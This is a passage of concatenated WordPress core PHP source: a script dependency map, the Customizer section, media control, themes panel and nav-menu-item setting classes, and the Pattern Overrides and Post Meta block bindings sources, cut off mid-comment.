'e70dad7478a6d81b381b'), 'keyboard-shortcuts.js' => array('dependencies' => array('react', 'wp-data', 'wp-element', 'wp-keycodes', 'wp-polyfill'), 'version' => '7587027656d32413e40f'), 'keycodes.js' => array('dependencies' => array('wp-i18n', 'wp-polyfill'), 'version' => 'bdac64cae9b64d2585cf'), 'list-reusable-blocks.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-blob', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => 'ec798cf371656a653e30'), 'media-utils.js' => array('dependencies' => array('wp-api-fetch', 'wp-blob', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => '53965ea93ce50bae2cfe'), 'notices.js' => array('dependencies' => array('wp-data', 'wp-polyfill'), 'version' => 'bb4dbe982e6a0739f30e'), 'nux.js' => array('dependencies' => array('react', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'dd10494e806aeb6eec56'), 'patterns.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => '9690971c7186889b0866'), 'plugins.js' => array('dependencies' => array('react', 'wp-compose', 'wp-element', 'wp-hooks', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-primitives'), 'version' => '0dd2604d62f853fd21af'), 'preferences.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-private-apis'), 'version' => 'c7db68394abefb140261'), 'preferences-persistence.js' => array('dependencies' => array('wp-api-fetch', 'wp-polyfill'), 'version' => '83944af7a2948c080ade'), 'primitives.js' => array('dependencies' => array('wp-element', 'wp-polyfill'), 'version' => '1ed6f4c180042c213439'), 'priority-queue.js' => array('dependencies' => array('wp-polyfill'), 'version' => '0ac29e2c7d9453425a64'), 'private-apis.js' => array('dependencies' => array('wp-polyfill'), 'version' => '29e3213b61725f319df2'), 'redux-routine.js' => array('dependencies' => array('wp-polyfill'), 'version' => '4bdc61ccdb5bc3ee2797'), 'reusable-blocks.js' => array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => '63a91ba189f1153db074'), 'rich-text.js' => array('dependencies' => array('wp-a11y', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-keycodes', 'wp-polyfill'), 'version' => 'a1ca7da0915d540c4afa'), 'router.js' => array('dependencies' => array('react', 'wp-element', 'wp-polyfill', 'wp-private-apis', 'wp-url'), 'version' => '24ab4c66bbafbf045980'), 'server-side-render.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => '6526ab69ac6cf7429453'), 'shortcode.js' => array('dependencies' => array('wp-polyfill'), 'version' => '577c74513f927a05a979'), 'style-engine.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'c68ace0b6b90cb4df22b'), 'token-list.js' => array('dependencies' => array('wp-polyfill'), 'version' => '9fb6d95fd24788d0ac39'), 'undo-manager.js' => array('dependencies' => array('wp-is-shallow-equal', 'wp-polyfill'), 'version' => '131d70acce3788278416'), 'url.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'f943a48db99be5ac9628'), 'viewport.js' => array('dependencies' => array('react', 'wp-compose', 'wp-data', 'wp-polyfill'), 'version' => 'e311816805c0e934f485'), 'warning.js' => array('dependencies' => array('wp-polyfill'), 'version' => '4ed38eab9265c3cf0e08'), 'widgets.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives'), 'version' => '8f2a3dc9d192c501ace8'), 'wordcount.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'c67f865e3ce4abde9fdb'));
<?php
/**
 * WordPress Customize Section classes
 *
 * @package WordPress
 * @subpackage Customize
 * @since 3.4.0
 */

/**
 * Customize Section class.
 *
 * A UI container for controls, managed by the WP_Customize_Manager class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Manager
 */
#[AllowDynamicProperties]
class WP_Customize_Section {

	/**
	 * Incremented with each new class instantiation, then stored in $instance_number.
	 *
	 * Used when sorting two instances whose priorities are equal.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	protected static $instance_count = 0;

	/**
	 * Order in which this instance was created in relation to other instances.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	public $instance_number;

	/**
	 * WP_Customize_Manager instance.
	 *
	 * @since 3.4.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * Unique identifier.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $id;

	/**
	 * Priority of the section which informs load order of sections.
	 *
	 * @since 3.4.0
	 * @var int
	 */
	public $priority = 160;

	/**
	 * Panel in which to show the section, making it a sub-section.
	 *
	 * @since 4.0.0
	 * @var string
	 */
	public $panel = '';

	/**
	 * Capability required for the section.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $capability = 'edit_theme_options';

	/**
	 * Theme features required to support the section.
	 *
	 * @since 3.4.0
	 * @var string|string[]
	 */
	public $theme_supports = '';

	/**
	 * Title of the section to show in UI.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $title = '';

	/**
	 * Description to show in the UI.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $description = '';

	/**
	 * Customizer controls for this section.
	 *
	 * @since 3.4.0
	 * @var array
	 */
	public $controls;

	/**
	 * Type of this section.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $type = 'default';

	/**
	 * Active callback.
	 *
	 * @since 4.1.0
	 *
	 * @see WP_Customize_Section::active()
	 *
	 * @var callable Callback is called with one argument, the instance of
	 *               WP_Customize_Section, and returns bool to indicate whether
	 *               the section is active (such as it relates to the URL currently
	 *               being previewed).
	 */
	public $active_callback = '';

	/**
	 * Show the description or hide it behind the help icon.
	 *
	 * @since 4.7.0
	 *
	 * @var bool Indicates whether the Section's description should be
	 *           hidden behind a help icon ("?") in the Section header,
	 *           similar to how help icons are displayed on Panels.
	 */
	public $description_hidden = false;

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 3.4.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the section.
	 * @param array                $args    {
	 *     Optional. Array of properties for the new Section object. Default empty array.
	 *
	 *     @type int             $priority           Priority of the section, defining the display order
	 *                                               of panels and sections. Default 160.
	 *     @type string          $panel              The panel this section belongs to (if any).
	 *                                               Default empty.
	 *     @type string          $capability         Capability required for the section.
	 *                                               Default 'edit_theme_options'
	 *     @type string|string[] $theme_supports     Theme features required to support the section.
	 *     @type string          $title              Title of the section to show in UI.
	 *     @type string          $description        Description to show in the UI.
	 *     @type string          $type               Type of the section.
	 *     @type callable        $active_callback    Active callback.
	 *     @type bool            $description_hidden Hide the description behind a help icon,
	 *                                               instead of inline above the first control.
	 *                                               Default false.
	 * }
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$keys = array_keys( get_object_vars( $this ) );
		foreach ( $keys as $key ) {
			if ( isset( $args[ $key ] ) ) {
				$this->$key = $args[ $key ];
			}
		}

		$this->manager = $manager;
		$this->id      = $id;
		if ( empty( $this->active_callback ) ) {
			$this->active_callback = array( $this, 'active_callback' );
		}
		self::$instance_count += 1;
		$this->instance_number = self::$instance_count;

		$this->controls = array(); // Users cannot customize the $controls array.
	}

	/**
	 * Check whether section is active to current Customizer preview.
	 *
	 * @since 4.1.0
	 *
	 * @return bool Whether the section is active to the current preview.
	 */
	final public function active() {
		$section = $this;
		$active  = call_user_func( $this->active_callback, $this );

		/**
		 * Filters response of WP_Customize_Section::active().
		 *
		 * @since 4.1.0
		 *
		 * @param bool                 $active  Whether the Customizer section is active.
		 * @param WP_Customize_Section $section WP_Customize_Section instance.
		 */
		$active = apply_filters( 'customize_section_active', $active, $section );

		return $active;
	}

	/**
	 * Default callback used when invoking WP_Customize_Section::active().
	 *
	 * Subclasses can override this with their specific logic, or they may provide
	 * an 'active_callback' argument to the constructor.
	 *
	 * @since 4.1.0
	 *
	 * @return true Always true.
	 */
	public function active_callback() {
		return true;
	}

	/**
	 * Gather the parameters passed to client JavaScript via JSON.
	 *
	 * @since 4.1.0
	 *
	 * @return array The array to be exported to the client as JSON.
	 */
	public function json() {
		$array                   = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'panel', 'type', 'description_hidden' ) );
		$array['title']          = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$array['content']        = $this->get_content();
		$array['active']         = $this->active();
		$array['instanceNumber'] = $this->instance_number;

		if ( $this->panel ) {
			/* translators: &#9656; is the unicode right-pointing triangle. %s: Section title in the Customizer. */
			$array['customizeAction'] = sprintf( __( 'Customizing &#9656; %s' ), esc_html( $this->manager->get_panel( $this->panel )->title ) );
		} else {
			$array['customizeAction'] = __( 'Customizing' );
		}

		return $array;
	}

	/**
	 * Checks required user capabilities and whether the theme has the
	 * feature support required by the section.
	 *
	 * @since 3.4.0
	 *
	 * @return bool False if theme doesn't support the section or user doesn't have the capability.
	 */
	final public function check_capabilities() {
		if ( $this->capability && ! current_user_can( $this->capability ) ) {
			return false;
		}

		if ( $this->theme_supports && ! current_theme_supports( ...(array) $this->theme_supports ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Get the section's content for insertion into the Customizer pane.
	 *
	 * @since 4.1.0
	 *
	 * @return string Contents of the section.
	 */
	final public function get_content() {
		ob_start();
		$this->maybe_render();
		return trim( ob_get_clean() );
	}

	/**
	 * Check capabilities and render the section.
	 *
	 * @since 3.4.0
	 */
	final public function maybe_render() {
		if ( ! $this->check_capabilities() ) {
			return;
		}

		/**
		 * Fires before rendering a Customizer section.
		 *
		 * @since 3.4.0
		 *
		 * @param WP_Customize_Section $section WP_Customize_Section instance.
		 */
		do_action( 'customize_render_section', $this );
		/**
		 * Fires before rendering a specific Customizer section.
		 *
		 * The dynamic portion of the hook name, `$this->id`, refers to the ID
		 * of the specific Customizer section to be rendered.
		 *
		 * @since 3.4.0
		 */
		do_action( "customize_render_section_{$this->id}" );

		$this->render();
	}

	/**
	 * Render the section UI in a subclass.
	 *
	 * Sections are now rendered in JS by default, see WP_Customize_Section::print_template().
	 *
	 * @since 3.4.0
	 */
	protected function render() {}

	/**
	 * Render the section's JS template.
	 *
	 * This function is only run for section types that have been registered with
	 * WP_Customize_Manager::register_section_type().
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Manager::render_template()
	 */
	public function print_template() {
		?>
		<script type="text/html" id="tmpl-customize-section-<?php echo $this->type; ?>">
			<?php $this->render_template(); ?>
		</script>
		<?php
	}

	/**
	 * An Underscore (JS) template for rendering this section.
	 *
	 * Class variables for this section class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Section::json().
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Section::print_template()
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="accordion-section control-section control-section-{{ data.type }}">
			<h3 class="accordion-section-title" tabindex="0">
				{{ data.title }}
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Press return or enter to open this section' );
					?>
				</span>
			</h3>
			<ul class="accordion-section-content">
				<li class="customize-section-description-container section-meta <# if ( data.description_hidden ) { #>customize-info<# } #>">
					<div class="customize-section-title">
						<button class="customize-section-back" tabindex="-1">
							<span class="screen-reader-text">
								<?php
								/* translators: Hidden accessibility text. */
								_e( 'Back' );
								?>
							</span>
						</button>
						<h3>
							<span class="customize-action">
								{{{ data.customizeAction }}}
							</span>
							{{ data.title }}
						</h3>
						<# if ( data.description && data.description_hidden ) { #>
							<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text">
								<?php
								/* translators: Hidden accessibility text. */
								_e( 'Help' );
								?>
							</span></button>
							<div class="description customize-section-description">
								{{{ data.description }}}
							</div>
						<# } #>

						<div class="customize-control-notifications-container"></div>
					</div>

					<# if ( data.description && ! data.description_hidden ) { #>
						<div class="description customize-section-description">
							{{{ data.description }}}
						</div>
					<# } #>
				</li>
			</ul>
		</li>
		<?php
	}
}

/** WP_Customize_Themes_Section class */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-themes-section.php';

/** WP_Customize_Sidebar_Section class */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-sidebar-section.php';

/** WP_Customize_Nav_Menu_Section class */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-section.php';
<?php
/**
 * Pattern Overrides source for the Block Bindings.
 *
 * @since 6.5.0
 * @package WordPress
 * @subpackage Block Bindings
 */

/**
 * Gets value for the Pattern Overrides source.
 *
 * @since 6.5.0
 * @access private
 *
 * @param array    $source_args    Array containing source arguments used to look up the override value.
 *                                 Example: array( "key" => "foo" ).
 * @param WP_Block $block_instance The block instance.
 * @param string   $attribute_name The name of the target attribute.
 * @return mixed The value computed for the source.
 */
function _block_bindings_pattern_overrides_get_value( array $source_args, $block_instance, string $attribute_name ) {
	if ( empty( $block_instance->attributes['metadata']['name'] ) ) {
		return null;
	}
	$metadata_name = $block_instance->attributes['metadata']['name'];
	return _wp_array_get( $block_instance->context, array( 'pattern/overrides', $metadata_name, $attribute_name ), null );
}

/**
 * Registers Pattern Overrides source in the Block Bindings registry.
 *
 * @since 6.5.0
 * @access private
 */
function _register_block_bindings_pattern_overrides_source() {
	register_block_bindings_source(
		'core/pattern-overrides',
		array(
			'label'              => _x( 'Pattern Overrides', 'block bindings source' ),
			'get_value_callback' => '_block_bindings_pattern_overrides_get_value',
			'uses_context'       => array( 'pattern/overrides' ),
		)
	);
}

add_action( 'init', '_register_block_bindings_pattern_overrides_source' );
<?php
/**
 * Post Meta source for the block bindings.
 *
 * @since 6.5.0
 * @package WordPress
 * @subpackage Block Bindings
 */

/**
 * Gets value for Post Meta source.
 *
 * @since 6.5.0
 * @access private
 *
 * @param array    $source_args    Array containing source arguments used to look up the override value.
 *                                 Example: array( "key" => "foo" ).
 * @param WP_Block $block_instance The block instance.
 * @return mixed The value computed for the source.
 */
function _block_bindings_post_meta_get_value( array $source_args, $block_instance ) {
	if ( empty( $source_args['key'] ) ) {
		return null;
	}

	if ( empty( $block_instance->context['postId'] ) ) {
		return null;
	}
	$post_id = $block_instance->context['postId'];

	// If a post isn't public, we need to prevent unauthorized users from accessing the post meta.
	$post = get_post( $post_id );
	if ( ( ! is_post_publicly_viewable( $post ) && ! current_user_can( 'read_post', $post_id ) ) || post_password_required( $post ) ) {
		return null;
	}

	// Check if the meta field is protected.
	if ( is_protected_meta( $source_args['key'], 'post' ) ) {
		return null;
	}

	// Check if the meta field is registered to be shown in REST.
	$meta_keys = get_registered_meta_keys( 'post', $block_instance->context['postType'] );
	// Add fields registered for all subtypes.
	$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( 'post', '' ) );
	if ( empty( $meta_keys[ $source_args['key'] ]['show_in_rest'] ) ) {
		return null;
	}

	return get_post_meta( $post_id, $source_args['key'], true );
}

/**
 * Registers Post Meta source in the block bindings registry.
 *
 * @since 6.5.0
 * @access private
 */
function _register_block_bindings_post_meta_source() {
	register_block_bindings_source(
		'core/post-meta',
		array(
			'label'              => _x( 'Post Meta', 'block bindings source' ),
			'get_value_callback' => '_block_bindings_post_meta_get_value',
			'uses_context'       => array( 'postId', 'postType' ),
		)
	);
}

add_action( 'init', '_register_block_bindings_post_meta_source' );
<?php
/**
 * Customize API: WP_Customize_Media_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Media Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Media_Control extends WP_Customize_Control {
	/**
	 * Control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'media';

	/**
	 * Media control mime type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $mime_type = '';

	/**
	 * Button labels.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	public $button_labels = array();

	/**
	 * Constructor.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );

		$this->button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() );
	}

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function enqueue() {
		wp_enqueue_media();
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['label']         = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$this->json['mime_type']     = $this->mime_type;
		$this->json['button_labels'] = $this->button_labels;
		$this->json['canUpload']     = current_user_can( 'upload_files' );

		$value = $this->value();

		if ( is_object( $this->setting ) ) {
			if ( $this->setting->default ) {
				/*
				 * Fake an attachment model - needs all fields used by template.
				 * Note that the default value must be a URL, NOT an attachment ID.
				 */
				$ext  = substr( $this->setting->default, -3 );
				$type = in_array( $ext, array( 'jpg', 'png', 'gif', 'bmp', 'webp', 'avif' ), true ) ? 'image' : 'document';

				$default_attachment = array(
					'id'    => 1,
					'url'   => $this->setting->default,
					'type'  => $type,
					'icon'  => wp_mime_type_icon( $type, '.svg' ),
					'title' => wp_basename( $this->setting->default ),
				);

				if ( 'image' === $type ) {
					$default_attachment['sizes'] = array(
						'full' => array( 'url' => $this->setting->default ),
					);
				}

				$this->json['defaultAttachment'] = $default_attachment;
			}

			if ( $value && $this->setting->default && $value === $this->setting->default ) {
				// Set the default as the attachment.
				$this->json['attachment'] = $this->json['defaultAttachment'];
			} elseif ( $value ) {
				$this->json['attachment'] = wp_prepare_attachment_for_js( $value );
			}
		}
	}

	/**
	 * Don't render any content for this control from PHP.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Media_Control::content_template()
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the media control.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function content_template() {
		?>
		<#
		var descriptionId = _.uniqueId( 'customize-media-control-description-' );
		var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : '';
		#>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{ data.label }}</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<# if ( data.description ) { #>
			<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>

		<# if ( data.attachment && data.attachment.id ) { #>
			<div class="attachment-media-view attachment-media-view-{{ data.attachment.type }} {{ data.attachment.orientation }}">
				<div class="thumbnail thumbnail-{{ data.attachment.type }}">
					<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.medium.url }}" draggable="false" alt="" />
					<# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.full.url }}" draggable="false" alt="" />
					<# } else if ( 'audio' === data.attachment.type ) { #>
						<# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #>
							<img src="{{ data.attachment.image.src }}" class="thumbnail" draggable="false" alt="" />
						<# } else { #>
							<img src="{{ data.attachment.icon }}" class="attachment-thumb type-icon" draggable="false" alt="" />
						<# } #>
						<p class="attachment-meta attachment-meta-title">&#8220;{{ data.attachment.title }}&#8221;</p>
						<# if ( data.attachment.album || data.attachment.meta.album ) { #>
						<p class="attachment-meta"><em>{{ data.attachment.album || data.attachment.meta.album }}</em></p>
						<# } #>
						<# if ( data.attachment.artist || data.attachment.meta.artist ) { #>
						<p class="attachment-meta">{{ data.attachment.artist || data.attachment.meta.artist }}</p>
						<# } #>
						<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
							<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
						</audio>
					<# } else if ( 'video' === data.attachment.type ) { #>
						<div class="wp-media-wrapper wp-video">
							<video controls="controls" class="wp-video-shortcode" preload="metadata"
								<# if ( data.attachment.image && data.attachment.image.src !== data.attachment.icon ) { #>poster="{{ data.attachment.image.src }}"<# } #>>
								<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
							</video>
						</div>
					<# } else { #>
						<img class="attachment-thumb type-icon icon" src="{{ data.attachment.icon }}" draggable="false" alt="" />
						<p class="attachment-title">{{ data.attachment.title }}</p>
					<# } #>
				</div>
				<div class="actions">
					<# if ( data.canUpload ) { #>
					<button type="button" class="button remove-button">{{ data.button_labels.remove }}</button>
					<button type="button" class="button upload-button control-focus" {{{ describedByAttr }}}>{{ data.button_labels.change }}</button>
					<# } #>
				</div>
			</div>
		<# } else { #>
			<div class="attachment-media-view">
				<# if ( data.canUpload ) { #>
					<button type="button" class="upload-button button-add-media" {{{ describedByAttr }}}>{{ data.button_labels.select }}</button>
				<# } #>
				<div class="actions">
					<# if ( data.defaultAttachment ) { #>
						<button type="button" class="button default-button">{{ data.button_labels['default'] }}</button>
					<# } #>
				</div>
			</div>
		<# } #>
		<?php
	}

	/**
	 * Get default button labels.
	 *
	 * Provides an array of the default button labels based on the mime type of the current control.
	 *
	 * @since 4.9.0
	 *
	 * @return string[] An associative array of default button labels keyed by the button name.
	 */
	public function get_default_button_labels() {
		// Get just the mime type and strip the mime subtype if present.
		$mime_type = ! empty( $this->mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default';

		switch ( $mime_type ) {
			case 'video':
				return array(
					'select'       => __( 'Select video' ),
					'change'       => __( 'Change video' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No video selected' ),
					'frame_title'  => __( 'Select video' ),
					'frame_button' => __( 'Choose video' ),
				);
			case 'audio':
				return array(
					'select'       => __( 'Select audio' ),
					'change'       => __( 'Change audio' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No audio selected' ),
					'frame_title'  => __( 'Select audio' ),
					'frame_button' => __( 'Choose audio' ),
				);
			case 'image':
				return array(
					'select'       => __( 'Select image' ),
					'site_icon'    => __( 'Select Site Icon' ),
					'change'       => __( 'Change image' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No image selected' ),
					'frame_title'  => __( 'Select image' ),
					'frame_button' => __( 'Choose image' ),
				);
			default:
				return array(
					'select'       => __( 'Select file' ),
					'change'       => __( 'Change file' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No file selected' ),
					'frame_title'  => __( 'Select file' ),
					'frame_button' => __( 'Choose file' ),
				);
		} // End switch().
	}
}
<?php
/**
 * Customize API: WP_Customize_Themes_Panel class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Themes Panel Class
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Panel
 */
class WP_Customize_Themes_Panel extends WP_Customize_Panel {

	/**
	 * Panel type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'themes';

	/**
	 * An Underscore (JS) template for rendering this panel's container.
	 *
	 * The themes panel renders a custom panel heading with the active theme and a switch themes button.
	 *
	 * @see WP_Customize_Panel::print_template()
	 *
	 * @since 4.9.0
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="accordion-section control-panel-themes">
			<h3 class="accordion-section-title">
				<?php
				if ( $this->manager->is_theme_active() ) {
					echo '<span class="customize-action">' . __( 'Active theme' ) . '</span> {{ data.title }}';
				} else {
					echo '<span class="customize-action">' . __( 'Previewing theme' ) . '</span> {{ data.title }}';
				}
				?>

				<?php if ( current_user_can( 'switch_themes' ) ) : ?>
					<button type="button" class="button change-theme" aria-label="<?php esc_attr_e( 'Change theme' ); ?>"><?php _ex( 'Change', 'theme' ); ?></button>
				<?php endif; ?>
			</h3>
			<ul class="accordion-sub-container control-panel-content"></ul>
		</li>
		<?php
	}

	/**
	 * An Underscore (JS) template for this panel's content (but not its container).
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Customize_Panel::print_template()
	 */
	protected function content_template() {
		?>
		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
			<button class="customize-panel-back" tabindex="-1" type="button"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Back' );
				?>
			</span></button>
			<div class="accordion-section-title">
				<span class="preview-notice">
					<?php
					printf(
						/* translators: %s: Themes panel title in the Customizer. */
						__( 'You are browsing %s' ),
						'<strong class="panel-title">' . __( 'Themes' ) . '</strong>'
					); // Separate strings for consistency with other panels.
					?>
				</span>
				<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
					<# if ( data.description ) { #>
						<button class="customize-help-toggle dashicons dashicons-editor-help" type="button" aria-expanded="false"><span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'Help' );
							?>
						</span></button>
					<# } #>
				<?php endif; ?>
			</div>
			<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
				<# if ( data.description ) { #>
					<div class="description customize-panel-description">
						{{{ data.description }}}
					</div>
				<# } #>
			<?php endif; ?>

			<div class="customize-control-notifications-container"></div>
		</li>
		<li class="customize-themes-full-container-container">
			<div class="customize-themes-full-container">
				<div class="customize-themes-notifications"></div>
			</div>
		</li>
		<?php
	}
}
<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Item_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Setting to represent a nav_menu.
 *
 * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
 * the IDs for the nav_menu_items associated with the nav menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Setting
 */
class WP_Customize_Nav_Menu_Item_Setting extends WP_Customize_Setting {

	const ID_PATTERN = '/^nav_menu_item\[(?P<id>-?\d+)\]$/';

	const POST_TYPE = 'nav_menu_item';

	const TYPE = 'nav_menu_item';

	/**
	 * Setting type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = self::TYPE;

	/**
	 * Default setting value.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see wp_setup_nav_menu_item()
	 */
	public $default = array(
		// The $menu_item_data for wp_update_nav_menu_item().
		'object_id'        => 0,
		'object'           => '', // Taxonomy name.
		'menu_item_parent' => 0, // A.K.A. menu-item-parent-id; note that post_parent is different, and not included.
		'position'         => 0, // A.K.A. menu_order.
		'type'             => 'custom', // Note that type_label is not included here.
		'title'            => '',
		'url'              => '',
		'target'           => '',
		'attr_title'       => '',
		'description'      => '',
		'classes'          => '',
		'xfn'              => '',
		'status'           => 'publish',
		'original_title'   => '',
		'nav_menu_term_id' => 0, // This will be supplied as the $menu_id arg for wp_update_nav_menu_item().
		'_invalid'         => false,
	);

	/**
	 * Default transport.
	 *
	 * @since 4.3.0
	 * @since 4.5.0 Default changed to 'refresh'
	 * @var string
	 */
	public $transport = 'refresh';

	/**
	 * The post ID represented by this setting instance. This is the db_id.
	 *
	 * A negative value represents a placeholder ID for a new menu not yet saved.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $post_id;

	/**
	 * Storage of pre-setup menu item to prevent wasted calls to wp_setup_nav_menu_item().
	 *
	 * @since 4.3.0
	 * @var array|null
	 */
	protected $value;

	/**
	 * Previous (placeholder) post ID used before creating a new menu item.
	 *
	 * This value will be exported to JS via the customize_save_response filter
	 * so that JavaScript can update the settings to refer to the newly-assigned
	 * post ID. This value is always negative to indicate it does not refer to
	 * a real post.
	 *
	 * @since 4.3.0
	 * @var int
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $previous_post_id;

	/**
	 * When previewing or updating a menu item, this stores the previous nav_menu_term_id
	 * which ensures that we can apply the proper filters.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $original_nav_menu_term_id;

	/**
	 * Whether or not update() was called.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	protected $is_updated = false;

	/**
	 * Status for calling the update method, used in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
